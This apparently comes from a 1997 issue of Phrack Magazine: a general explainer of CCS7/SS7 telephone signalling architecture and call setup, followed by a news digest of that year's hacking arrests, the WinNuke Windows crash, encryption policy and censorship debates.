Every day it seems that the telcos introduce some funky new calling feature to make your life easier. I'm sure at one point or another you've probably wondered exactly how all of these calling features work. The answer? Common Channel Interoffice Signaling or CCS7.

CCS7 is somewhat analogous to TCP/IP in that it is a protocol that allows networked computers (in this case telephone switches) to talk to each other. It maps onto the OSI 7 Layer Reference Model model as such:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Application 7 OMAP | ASE |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑

Presentation 6 TCAP |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑

Session 5 |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ |ISDN‑UP

Transport 4 |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑

SCCP |

Network 3 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MTP Level 3

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑

Data Link 2 MTP Level 2

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑

Physical 1 MTP Level 1

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑

Legend:

OMAP: Operations, Maintenance and Administration Part

ASE : Application Service Layer

TCAP: Transaction Capabilities Application Part

SCCP: Signaling Connection Control Part

ISDN‑UP: Integrated Systems Digital Network User Part

MTP : Message Transfer Part

This article will provide an introduction to how the network is set up, how messaging is done, and a brief example of a call setup/takedown.

0o0o0o0o0o0o0o0o0o0o0o0o0

oHistoryo

0o0o0o0o0o0o0o0o0o0o0o0o0

AT&Ts introduction of CCIS (Common Channel Interoffice Signaling) in 1976 brought a radical change to the way signaling was handled. Before the advent of CCIS all signaling was done in band using the same trunks that would be used for customer conversations. Instead of sending all information over the voice circuits (trunks) a new network was created specifically for signaling.

AT&T began immediate deployment of CCIS technology and the CCITT (Consultative Committee for International Telephone and Telegraph) adopted it as an international standard called SS6 (Signaling System 6). The current version of the protocol is CCS7 (Common Channel Signaling System 7) and is prevalent throughout North America.

0o0o0o0o0o0o0o0o0o0o0o0o0

o Switches o

0o0o0o0o0o0o0o0o0o0o0o0o0

CCS7 networks are based on a mesh of links connecting switches like the following:

###(SP) {SCP}‑‑‑A‑‑‑[STP] ‑B‑‑ [STP]

# | / | \

# F / | \ / | \

# | / C BB C \ ###########

###(SSP) D | / \ | \

# | \ / [STP] ‑B‑‑ [STP] D (SSP)‑‑‑F #

# A A / / / \ \ A | #

# | \ / / A \ \ | | #

# [STP] ‑‑B‑ [STP] / / \ [STP] ‑‑B‑ [STP]‑A‑(SSP)##

# | \ / | D {SCP} D | \ / | | #

# | \ / | /

# C BB C / \ C BB C | #

# | / \ | /

# [STP] ‑‑B‑ [STP] [STP] ‑‑B‑ [STP] | #

# |

# |‑‑(SSP) |‑‑‑‑‑‑‑‑E‑‑‑‑‑‑‑‑‑| #

# #

####################################

# = Trunks

‑ = CCS7 links

Explanation:

STP (Signal Transfer Point):

STPs are tandem switches which act as the routers of the CCS7 network. They transfer messages between incoming and outgoing signaling links but do not originate messages other then those used for network management. Since their sole function is to act as routers, STPs have NO trunks attached to them. STPs are grouped into mated pairs. These pairs are grouped into the quads you see in the above diagram. This is all done for the sake of redundancy.

SCP (Signal Control Point):

SCPs act as the application database servers for the CCS7 network. SSPs make database queries through the STPs to the SCPs for such things as 800 number lookups. As they are not used for direct line connections SCPs also do not have trunks attached to them. SCPs are the least common type of switch; for instance, in Canada, there are only two SCPs, one of which is in Calgary, the other in Toronto.

SSP (Service Switching Point) and SP (Service Point):

SSPs and SPs are the most common switches (despite my diagram :)) and are deployed as EO (End Office) switches and in PBXs (Private Branch Exchanges). On average each SSP can handle about 100,000 ‑ 125,000 lines. Of course the amount of trunks actually available on the switch is considerably smaller then the amount of incoming lines; the telcos have various modeling algorithms that predict the maximum amount of trunks that will actually be used which is why occasionally when, say, a U2 concert hits town a switch can run out of available trunks as people rush the phones for tickets. SSPs and SPs differ only on that the former can enact SCP database queries while the latter cannot.

0o0o0o0o0o0o0o0o0o0o0o0o0

o Links o

0o0o0o0o0o0o0o0o0o0o0o0o0

A CCS7 link is nothing more then a dedicated 56/64K trunk. There are various classifications of link types: (Refer to the previous diagram for examples)

A Links:

Connect SSP/SPs and SCPs to STPs.

B (Bridge) Links:

Connect two STP pairs together to form an STP quad.

C (Cross) Links:

Connect mated STP pairs together.

D Links:

Interconnect STP quads.

E Links:

Connect SSP/SPs or SCPs to a STP pair other than their "home" pair.

F Links:

Connect SSP/SPs and SCPs to each other.

Links are joined together to form linksets. A linkset is defined as all the links connecting one node in the network to another node. Directly analogous to linksets are routesets which map out the paths to all the other nodes in the network by associating a cost with each possible linkset the message could go out on.

If that sounded confusing (and I know it did) here is a small example. Consider the following subsection from our bigger network:

###(SP1)

# |

# |

# |

###(SSP1)

# | \

# L1 L2

# | \

# [STP1] ‑‑‑‑ [STP2]‑‑

# | \ / | |

# | \ / | |

# | \/ | |

# | / \ | |

# [STP3] ‑‑‑‑ [STP4] |

# \ /

# (SSP2)

# #

######################

Say SSP1 wants to send a message to SSP2. The routeset to SSP2 on SSP1 will be datafilled with two possible linksets that could be used; namely the ones going to STP1 and STP2. However, it's obvious that using L2 would be more efficient, taking 2 hops instead of 3, via L1. On the switch this would be noted by L2 having a lower cost than L1.

0o0o0o0o0o0o0o0o0o0o0o0o0

o Call Setup Example o

0o0o0o0o0o0o0o0o0o0o0o0o0

Call setup and takedown using CCS7 is handled by a subset of the protocol called ISDN‑UP (Integrated Services Digital Network User Part). There are many messages belonging in this subset but only five are needed to make a phone call.

Let's say I want to call Dr. Sardu using the network from the previous example. The good doctor's phone is serviced by SSP2 while mine is serviced by SSP1. When I pick up my phone the switch will detect that it is off the hook and send a dial tone. After dialing, an IAM (Initial Address Message) will go out on the network from SSP1 to SSP2. Assuming all goes well (the phone is not busy, etc...) an ACM (Address Complete Message) will come back from SSP2 to SSP1. It is at this time that I hear the first ring tone in my receiver. The moment the other party picks up and all the trunks are seized an ANM (Answer Message) is sent from SSP2 to SSP1 and upon reception of this message billing starts (A few ms of free phone time. Woo woo!). When the conversation is complete and one party hangs up, its switch will send an REL (Release Message) and upon reception the other party will hear the "click" of the phone being hung up. When he then hangs up the final RCL (Release Complete) message will be sent and the seized trunks will return to idle.

‑‑‑‑[ EOF

Phrack World News

‑‑‑[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 16 of 17

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ P H R A C K W O R L D N E W S

‑‑‑‑‑‑‑‑[ Issue 51

0x1: Illinois man arrested after threatening Bill Gates 0x2: Man Arrested In Tokyo On Hacker Charges

0x3: FBI says hacker sold 100,000 credit card numbers 0x4: MS Security Plugs Not Airtight

0x5: BSA slams DTI's Encryption Plans

0x6: Teen bypasses blocking software

0x7: The Power to Moderate is the Power to Censor 0x8: AOL Users in Britain Warned of Surveillance 0x9: Georgia Expands the "Instruments of Crime" 0xa: NASA Nabs Teen Computer Hacker

0xb: Agriculture Dept. Web Site Closed after Security Breach 0xc: Hackers Smash US Government Encryption Standard 0xd: Hacker May Stolen JonBenet computer Documents 0xe: Hacker Vows 'Terror' for Pornographers

0xf: Mitnick Gets 22 Month Sentence

0x10: New York Judge Prohibits State Regulation of Internet 0x11: Breaking the Crypto Barrier

0x12: Setback in Efforts to Secure Online Privacy 0x13: Captain Crunch Web Site Now Moved

0x14: US Justive Dept. Investigating Network Solutions 0x15: Cyber Patrol Bans Crypt Newsletter

0x16: Some humor on media hacks and hackers

0x17: Court Mixes Internet Smut Provision

0x1: Book Title: Underground

0x2: Book Title: "Hackers"

0x1: Convention: Cybercrime Conference Announcement 0x2: Convention: Computers & The Law IV Symposium

0x1>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Illinois man arrested after threatening Bill Gates Source: Reuter

Author: unknown

SEATTLE (Reuter) ‑ An Illinois man has been arrested and charged with threatening to kill Microsoft Corp. Chairman Bill Gates in a $5 million extortion plot, authorities said on Friday.

Adam Pletcher was arrested on May 9 in the Chicago suburb of Long Grove, where he lives with his parents, and charged with extortion, federal prosecutors said. He was freed on $100,000 bond and is due to appear in U.S. District Court in Seattle on Thursday for arraignment.

According to court documents, Pletcher sent four letters to Gates, beginning in March, threatening to kill the software company founder and his wife, Melinda, unless payment of at least $5 million was made.

The first letter was intercepted at the company's headquarters in Redmond, Washington, by corporate security officers, who contacted the FBI.

Agents then used an America Online dating service specified by the author of the letters to track down Pletcher, described as a loner in his early 20s who spends much of his time in front of the computer.

Authorities said they treated the threats seriously but did not believe Gates' life was ever in danger.

"We generally think this was a kid with a rich fantasy life, just living that out," said Tom Ziemba, a spokesman for U.S. Attorney Katrina Pflaumer.

"This was handled in a fairly routine fashion by Microsoft security and law enforcement agencies," Microsoft spokesman Mark Murray said. "At some point in the investigation Microsoft did make Bill aware of the situation."

Pletcher's online activities have landed him in trouble before.

In February the Illinois attorney general sued Pletcher, accusing him of defrauding consumers of thousands of dollars in an alleged Internet scam, according to a story in the Chicago Tribune. Several consumers complained they sent Pletcher up to $5,500 to find them a car deal and never got their money back.

Despite his status as richest man in America, with a Microsoft stake valued at more than $30 billion, Gates is still known to travel alone on regularly scheduled flights. But Murray said the executive was well‑protected.

"We don't comment at all on Bill's security other than to say that there are extensive and appropriate security measures in place for Bill, for his family and for Microsoft facilities and personnel," Murray said.

0x2>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Man Arrested In Tokyo On Hacker Charges

Source: unknown

Author: unknown

TOKYO (May 23, 1997 10:31 a.m. EDT) ‑ A 27‑year‑old Japanese man was arrested Friday on suspicion of breaking into an Internet home page of Asahi Broadcasting Corp. and replacing it with pornography, a police spokesman said.

Koichi Kuboshima, a communications equipment firm employee from Saitama Prefecture, north of Tokyo, was arrested on charges of interrupting business by destroying a computer network.

It was the first arrest related to illegal access to the information network, the police spokesman said, adding Kuboshima was also charged with displaying obscene pictures, the spokesman said.

The suspect admitted to the crime, telling police he had done it for fun, police officials said.

The Osaka‑based broadcasting network blocked access to all of its home pages on Sunday immediately after it was notified of the offense by an Internet user.

The Asahi home page is designed to allow users to download and upload information, which allowed Kuboshima to rewrite the contents, the spokesman said.

0x3>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: FBI says hacker sold 100,000 credit card numbers

Source: unknown

Author: unknown

SAN FRANCISCO (May 23, 1997 10:13 a.m. EDT) ‑‑ A clever hacker slipped into a major Internet provider and gathered 100,000 credit card numbers along with enough information to use them, the FBI said Thursday.

Carlos Felipe Salgado, Jr., 36, who used the online name "Smak," allegedly inserted a program that gathered the credit information from a dozen companies selling products over the Internet, said FBI spokesman George Grotz.

[Secure electronic commerce is a novel idea.]

Salgado allegedly tried to sell the credit information to an undercover agent for $260,000. He was arrested Wednesday and faces a maximum 15 years in prison and $500,000 in fines if convicted on charges of unauthorized access of computers and trafficking in stolen credit card numbers.

"What is unique about this case is that this individual was able to hack into this third party, copy this information and encrypt it to be sold," Grotz said.

[Since we know others have hacked in and stolen credit cards before, the unique part is him trying to sell them. That isn't in keeping with what federal agents love to say about hackers and credit card incidents. Convenient how they change things like that.]

Had it succeeded, "at minimum we'd have 100,000 customers whose accounts could have been compromised and would not have known it until they got their bill at the end of the month," the FBI spokesman said.

The scheme was discovered by the unidentified San Diego‑based Internet provider during routine maintenance. Technicians found an intruder had placed a program in their server called a "packet sniffer," which locates specified blocks of information, such as credit card numbers.

[Uh...more like they kept a nice ascii database full of the numbers that was copied with expert technique like "cp ccdb"...]

The FBI traced the intruder program to Salgado, who was using an account with the University of California‑San Francisco.

A school spokeswoman said officials have not yet determined whether Salgado attended or worked at the school, or how he got access to the account.

With the cooperation of a civilian computer user who was in communication with Salgado, the FBI arranged to have an undercover agent buy the stolen credit card information.

After making two small buys, the FBI agents arranged to meet Salgado on Wednesday at San Francisco International Airport to pay $260,000 for 100,000 credit card numbers with credit limits that ranged up to $25,000 each.

After decrypting and checking that the information was valid, Salgado was taken into custody at his parents' house in Daly City. Salgado waived his rights and acknowledged breaking into computers, including the San Diego company, according to the affidavit.

The FBI has not found any evidence Salgado made any purchases with the numbers himself, the spokesman said, but the investigation is continuing.

Salgado appeared before a federal magistrate Thursday and was released on a $100,000 personal bond. Grotz said that as a condition of bail, "the judge forbids him to come anywhere near a computer."

0x4>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: MS Security Plugs Not Airtight

Source: unknown

Author: Nick Wingfield

(May 22, 1997, 12:45 p.m. PT) Microsoft (MSFT) is still struggling to completely patch Windows 95 and NT against Internet hacker attacks.

The company has posted a software patch that protects Windows 95 users from an attack that can crash their computers. The company issued a similar patch for Windows NT last week.

But both the Windows NT and 95 patches aren't complete prophylactics for so‑called out‑of‑band data attacks since both platforms can still be crashed by hackers with Macintosh and Linux computers. Microsoft said today that it hopes to post new patches by tonight that remedy the vulnerability to Mac‑ and Linux‑based attacks.

The current Windows 95 patch‑‑without protection for Mac and Linux attacks‑‑can be downloaded for free from Microsoft's Web site.

This year, Microsoft programmers have been forced to create a medicine chest of software remedies to fix potential security risks in everything from the Internet Explorer browser to PowerPoint to Windows itself. Some security experts believe the company is struggling with deep‑rooted vulnerabilities in its OS and Internet technologies.

It's clear that the Internet has made it much easier for enterprising bug‑finders to broadcast their discoveries to the press and public over email lists and Web pages. This has put intense pressure on Microsoft's engineering groups to quickly come up with patches.

Other companies, such as Sun Microsystems, have also had to release a number of patches for their technologies, but Microsoft has been especially hard‑hit.

A number of security experts believe that Microsoft would have had a hard time avoiding these security problems.

"As a professional programmer, I have a real hard time saying that Microsoft should have seen this coming," said David LeBlanc, senior Windows NT security manager at Internet Security Systems, a developer of security software. "I get hit with this stuff too. With 20/20 hindsight, it's really obvious to see what we did wrong. Trying to take into account all the possibilities that can occur beforehand is not realistic."

In order to exploit the latest vulnerability, Web sites must send a special TCP/IP command known as "out of band data" to port 139 of a computer running Windows 95 or NT. Hackers could also target users' PCs by using one of several programs for Windows, Unix, and Macintosh now circulating on the Net. With one program, called WinNuke, a hacker simply types a user's Internet protocol address and then clicks the program's "nuke" button in order to crash a PC over the Net.

The company's original patch for Windows NT prevents attacks from Unix and other Windows computers. But because of a difference in the way Mac and Linux computers handle the TCP protocol, Microsoft's patch didn't squelch attacks from those operating systems.

[Bullshit meter: ****‑ ‑ In actuality, Microsoft just decided to filter hits on that port looking for a keyword included in the first 'winuke' script. By changing that word, 95 was once again vulnerable to these attacks. Good work Microsoft.]

A number of users have sent email to CNET's NEWS.COM complaining that their computers were repeatedly crashed as they chatted in Internet relay chat groups. When users are nuked by a hacker, their computer screens often display an error message loosely known as the "blue screen of death."

"The worst part about it is that the delinquents playing with this toy really like to play with it and keep on doing it," said Martin A. Childs, a law student at Louisiana State University in Baton Rouge. "The first time I got hit, I logged on six times before I managed to figure out what was going on."

The original patches for Windows NT versions 4.0 and 3.51 are available on Microsoft's Web site. Last Thursday, the company also posted a collection of software patches, called service pack 3, that contains the NT out‑of‑band fix.

The out‑of‑band data attacks also affect users of Windows 3.11, but a company spokeswoman said that Microsoft will not prepare a fix for that platform unless users request one.

0x5>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: BSA slams DTI's Encryption Plans

Source: The IT Newspaper

Author: unknown

Date: 26th June 1997

Government Proposals on encryption are 'unworkable, unfar, unweildy, un‑needed and frankly unacceptable', according to the British Software Alliance (BSA) and the British Interactive Multimedia Association (Bima), writes Tim Stammers.

In a joint statement, the organizations claimed that encryption proposals from the DTI could 'cripple the growth of electronic comerce in the UK'.

Tod Cohen, lawyer at Covington & Berling, council to the BSA, said: 'These proposals could be a disaster for both users and vendors'.

The DTI's plan calls for UK organisations which want to encrypt email and data to supply copies of their encryption keys to third parties.

Government agencies will then be able to demand access to copies of the keys. The DTI says the scheme aims to prevent criminal use of encryption by drug dealers and terrorists.

But the BSA and BIMA claim that the proposed tystem will create a massive bureaucratic structure will criminals will ignore.

'The sheer number of electronic communications could easily overwhelm the system, without inreasing security or safety within the UK', their statement said.

Sean Nye, executive member of Bima, said : 'In an age where personal data and information is increasingly threatened with unwarranted exposure, the DTI's proposals are a major step backwards'.

Opposition to the so‑called key escrow system suggested by the DTI has been widespread. Public opponents include Brian Gladman, former deputy director at Nato's labratories.

The proposals where formulated under the last government, and a decision on their future is expected next month.

The US government is easing encryption export controls for software companies which are prepared to back key escrow, but has met Senate opposition to its plans.

0x6>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Teen bypasses blocking software

Sounce: www.news.com

Author: Courtney Macavinta

Date: April 22, 1997, 5:30 p.m. PT

A teenager is using his Web site to help others bypass one brand of filtering software intended to protect minors from illicit Net material.

Using the "CYBERsitter codebreaker" from 18‑year‑old Bennett Haselton, surfers can now decode the list of all Net sites blocked by Solid Oak's Cybersitter software.

Haselton‑‑the founder of a teen organization called Peacefire that fights Net censorship‑‑contends that the software violates free speech rights for adults and teen‑agers. He claims the software is also falsely advertised because it promises parents the "ability to limit their children's access to objectionable material on the Internet," but also blocks other content on the Net.

Haselton's campaign to get around Cybersitter has Solid Oak's president seeing red.

Solid Oak denies Haselton's charges and is investigating the legality of the code‑breaking program. "He doesn't know anything, and he's just a kid," Solid Oak President Brian Milburn said today. "We have never misrepresented our product‑‑ever."

Haselton's Cybersitter codebreaker can be used to crack a coded list of the sites that CYBERsitter blocks. The list is distributed to subscribers to notify users what sites are being blocked. Subscribers pay $39.95 for the software.

The software blocks sites containing any words describing genitals, sex, nudity, porn, bombs, guns, suicide, racial slurs and other violent, sexual and derogatory terms.

The list also blocks an array of sites about gay and lesbian issues, including PlanetOut and the International Gay and Lesbian Human Rights Commission . Cybersitter even blocks the National Organization for Women because it contains information about lesbianism, Solid Oak stated. "The NOW site has a bunch of lesbian stuff on it, and our users don't want it," said Milburn.

The software also filters any site that contains the phrase "Don't buy CYBERsitter" as well as Haselton's own site and any reference to his name.

Milburn says Haselton's campaign is hurting the product's marketability and hinted that the company will stop him, but wouldn't say exactly how.

"We have users who think they purchased a secure product. This is costing us considerably," Milburn said. "But we're not going to let Bennett break the law."

He did point out that Haselton's program to decode the software may violate its licensing agreement, which states: "Unauthorized reverse engineering of the Software, whether for educational, fair use, or other reason is expressly forbidden. Unauthorized disclosure of CYBERsitter operational details, hacks, work around methods, blocked sites, and blocked words or phrases are expressly prohibited."

Haselton is undaunted by the suggestion of legal reprecussions. "I've talked to a lawyer who offered to represent me in the event that Cybersitter goes after me," he added.

Haselton, a junior at Vanderbuilt University, argues that the software doesn't protect kids from smut, but just keeps them from learning new ideas.

"Blocking software is not the solution to all of our problems. What's dangerous is not protecting [teenagers' free] speech on the Net as well," he said. "This is the age, when you form your opinions about social issues, human rights, and religion. We need to keep free ideas on the Net for people under 18."

Haselton's organization is also a plaintiff in a lawsuit being argued today in New York, the American Library Association vs. Governor George Pataki. The case was filed to strike down a state law similar to the Communications Decency Act that prohibits making indecent material available to minors over the Net.

0x7>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: The Power to Moderate is the Power to Censor

Source: unknown

Author: Paul Kneisel

Some 200+ new news groups have just been created on the UseNet part of the Internet. They are grouped under a new <gov.*> hierarchy.

<gov.*> promises to "take democracy into cyberspace," according to the press release from the National Science Foundation.[1] "The U.S. government," said U.S. Vice President Al Gore of the GovNews project, "is taking a leadership role in providing technology that could change the face of democracy around the world."[2]

The GovNews project repeatedly stresses how it will support and promote feedback between governments and citizens. "Millions of people will now be able to follow and comment on government activity in selected areas of interest...," the release stated, promising "a wide, cost‑effective electronic dissemination and discussion...."

Preston Rich, the National Science Foundation's leader of the International GovNews Project, described GovNews as "newsgroups logically organized by topic from privatization, procurements and emergency alerts to toxic waste and marine resources and include[s] the capability to discuss such information."[1]

The vast majority of the new <gov.*> groups are moderated.

The idea of the moderated news

group is increasingly accepted on UseNet. Off‑topic posts, flames, and spam have made many non‑moderated groups effectively unreadable by most users. Moderated groups are one effective way around these problems. New groups created in the non‑<gov.*> "Big 8" UseNet hierarchy have formal charters defining the group. If the group is moderated then the powers, identity, and qualifications of the moderators are also listed. Unmoderated groups might be likened to informal free‑for‑all debates where there is no check on who can participate or on the form or content of what is said. Moderated groups are far closer to a specially‑defined meeting of citizens with a formal Chair, empowered to declare certain topics off‑limits for discussion, and to call unruly participants to order.

An unmoderated UseNet group dedicated to baking cookies might be flooded with posts advertising bunion cures, reports of flying saucers sighted over Buckingham Palace, or articles denouncing Hillary Clinton as a Satanist. A moderator for the group has the power to block all of these posts, ensuring that they are not sent to the UseNet feed and do not appear among the on‑topic discussion of cookies.

Certainly some moderators on UseNet groups abuse their powers (as do some Chairs at non‑Internet meetings.) But reports of such abuse are relatively rare given the number of moderated groups. And, of course, many complaints come from the proverbial "net.kooks" or those who oppose moderation in general.

Moderators in the "Big 8" UseNet hierarchy are "civilians," not government employees moderating government‑related groups while collecting government paychecks.

The <gov.*> hierarchy inferentially changes this. I write "inferentially" because the charters, names and qualifications of the moderators in the 200+ groups has not been formally announced. Nor do routine queries to members of the <gov.*> leading Hierarchial Coordinating Committee result in such detailed information.

UseNet is not the entire Internet. Net‑based technology like the World Wide Web and the "File Transfer Protocol" or FTP are designed for the one‑way transmission of data. Few object to the _Congressional Record_ on‑line or crop reports posted by the U.S. Department of Agriculture available on the Web or via FTP. But the news groups of UseNet are designed for two‑way discussions, not spam‑like one‑way info‑floods of data carefully selected by government bureaucrats.

That creates an enormous problem when government employees moderate the discussion, regardless of how well, appropriately, or fairly the moderation is conducted.

For government moderation of any discussion is censorship and it is wrong.

Initial reports also indicate that most of the <gov.*> groups will be "robo [t]‑moderated." In other words, specialized software programs will handle the bulk of the moderator's tasks. Robo‑moderation, however, alters nothing. A good robo program may catch and eliminate 99% of the spam sent to the group or identify notorious flame‑artists. But the power to robo‑moderate remains the power to censor; the power to select one robo‑moderator is the power to select another; the power to automatically remove bunion ads is simultaneously the power to eliminate all posts from Iraq in a political discussion or any message containing the string "Whitewater."

In short, moderation on <gov.*> groups by government employees remains censorship whether conducted by software or humans, whether posts are approriately banned or the moderation places severe limits on free political speech. *Any* limitation of posts from any citizen by any government employee is censorship.

It is also forbidden by law.

FOOTNOTES

[1] "GOVNEWS: N[ational] S[cience] F[oundation] Press Release for GovNews," 17 Mar 1997, <http://www.govnews.org/govnews/info/press.html>, accessed 21

Mar 1997.

[2] One wonders what technology Gore believes GovNews is providing. Certainly neither the Internet or UseNet is part of that technology for both existed long before GovNews.^Z

0x8>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: AOL Users in Britain Warned of Surveillance

Source: unknown

Author: CHristopher Johnston

LONDON ‑ Subscribers logging onto AOL Ltd. in Britain this week were greeted with news that the Internet‑service provider was imposing a tough new contract giving it wide latitude to disclose subscribers' private E‑mail and on‑line activities to law enforcement and security agencies.

The new contract also requires users to comply with both British and U.S. export laws governing encryption. AOL Ltd. is a subsidiary of AOL Europe, which is a joint venture between America Online Inc. of the United States and Germany's Bertelsmann GmbH.

The contract notes in part that AOL ''reserves the right to monitor or disclose the contents of private communication over AOL and your data to the extent permitted or required by law.''

''It's bad news,'' said Marc Rotenberg, director of the Electronic Privacy Information Center, a Washington‑based civil liberties organization. ''I think AOL is putting up a red flag that their commitment to privacy is on the decline. It puts their users on notice that to the extent permitted by law, they can do anything they want.''

The contract also prohibits subscribers from posting or transmitting any content that is ''unlawful, harmful, threatening, abusive, harassing, defamatory, vulgar, obscene, seditious, blasphemous, hateful, racially, ethnically or otherwise objectionable.''

AOL and its competitors called the move part of a trend to protect on‑line service providers from suits by users in case they are required to disclose subscribers' activities to law enforcement agencies.

The contract also beefed up the legal wording relating to sensitive content such as pornography, and prohibiting the maintenance of links to obscene Web sites.

The updated contract is also the first to inform subscribers that they are required to comply with both British and U.S. export laws governing encryption, or coding, a hot topic of debate recently between software publishers and security agencies.

AOL Europe will provide similar contracts, which vary according to local law in each of the seven European countries in which the network operates.

AOL executives denied any government pressure in updating the contract.

0x9>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Georgia Expands the "Instruments of Crime"

Source: fight‑censorship@vorlon.mit.edu

In Georgia it is a crime, punishable by $30K and four years to use in furtherance of a crime:

* a telephone

* a fax machine

* a beeper

* email

The actual use of the law, I think, is that when a person is selling drugs and either is in possession of a beeper, or admits to using the phone to facilitate a meeting, he is charged with the additional felony of using a phone. This allows for selective enforcement of additional penalties for some people.

O.C.G.A. 16‑13‑32.3.

(a) It shall be unlawful for any person knowingly or intentionally to use any communication facility in committing or in causing or facilitating the commission of any act or acts constituting a felony under this chapter. Each separate use of a communication facility shall be a separate offense under this Code section. For purposes of this Code section, the term "communication facility" means any and all public and private instrumentalities used or useful in the transmission of writing, signs, signals, pictures, or sounds of all kinds and includes mail, telephone, wire, radio, computer or computer network, and all other means of communication.

(b) Any person who violates subsection (a) of this Code section shall be punished by a fine of not more than $30,000.00 or by imprisonment for not less than one nor more than four years, or both.

0xa>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: NASA Nabs Teen Computer Hacker

Source: Associated Press

Author: unknown

Date: Monday, June 2, 1997

WASHINGTON (AP) ‑ A Delaware teen‑ager who hacked his way into a NASA web site on the Internet and left a message berating U.S. officials is being investigated by federal authorities, agency officials said Monday.

NASA Inspector General Robert Gross cited the incident ‑ the most recent example of a computer invasion of a NASA web site ‑ as an example of how the space agency has become ``vulnerable via the Internet.''

"We live in an information environment vastly different than 20 years ago," Gross said in a written statement. "Hackers are increasing in number and in frequency of attack."

In the latest case, the Delaware teen, whose name, age and hometown were not released, altered the Internet web site for the Marshall Space Flight Center in Huntsville, Ala., according to the statement from the computer crimes division of NASA's Inspector General Office.

"We own you. Oh, what a tangled web we weave, when we practice to deceive," the teen's message said, adding that the government systems administrators who manage the site were "extremely stupid."

The message also encouraged sympathizers of Kevin Mitnick, a notorious computer hacker, to respond to the site. Mitnick was indicted last year on charges stemming from a multimillion‑dollar crime wave in cyberspace.

The altered message was noticed by the computer security team in Huntsville but the NASA statement did not mention how long the message was available to the public or exactly when it was discovered. NASA officials weren't made available to answer questions about the event.

In the statement, NASA called the teen's hacking "a cracking spree" and said it was stopped May 26 when his personal computer was seized.

Prosecutors from the U.S. Attorney's office in Delaware and Alabama are handling the case with NASA's computer crimes division.

Last March, cyberspace invaders made their way into another NASA web site and threatened an electronic terrorist attack against corporate America. The group, which called itself ``H4G1S'' in one message and ``HAGIS'' in another, also called for some well‑known hackers to be released from jail.

Engineers at the Goddard Space Flight Center in Greenbelt, Md., quickly noticed the change and took the page off the Internet within 30 minutes. NASA officials said the agency installed electronic security measures designed to prevent a recurrence.

0xb>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Agriculture Dept. Web Site Closed after Security Breach Source: Reuter

Author: unknown

WASHINGTON (June 11, 1997 00:08 a.m. EDT) ‑ The U.S. Agriculture Department's Foreign Agricultural Service shut down access to its internet home page Tuesday after a major security breach was discovered, a department aide said.

"It's a big, huge problem," Ed Desrosiers, a computer specialist in USDA's Farm Service Agency, told Reuters. "We can't guarantee anything's clean anymore."

Someone broke into system and began "sending out a lot of messages" to other "machines" on the internet, Desrosiers said.

The volume of traffic was so great, "we were taking down machines" and began receiving complaints, he said.

"It's not worth our time to try to track down" the culprit, Desrosiers said. "Instead, we're just going to massively increase security."

A popular feature on the FAS home page is the search function for "attache reports," which are filed by overseas personnel and provide assessments on crop conditions around the world. Although not official data, the reports provide key information that goes into USDA's monthly world supply‑and‑demand forecasts.

It could be next week before the page is open to outside users again, Desrosiers said.

0xc>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Hackers Smash US Government Encryption Standard

Source: fight‑censorship@vorlon.mit.edu

Oakland, California (June 18, 1997)‑The 56‑bit DES encryption standard, long claimed "adequate" by the U.S. Government, was shattered yesterday using an ordinary Pentium personal computer operated by Michael K. Sanders, an employee of iNetZ, a Salt Lake City, Utah‑based online commerce provider. Sanders was part of a loosely organized group of computer users responding to the "RSA $10,000 DES Challenge." The code‑breaking group distributed computer software over the Internet for harnessing idle moments of computers around the world to perform a 'brute force' attack on the encrypted data.

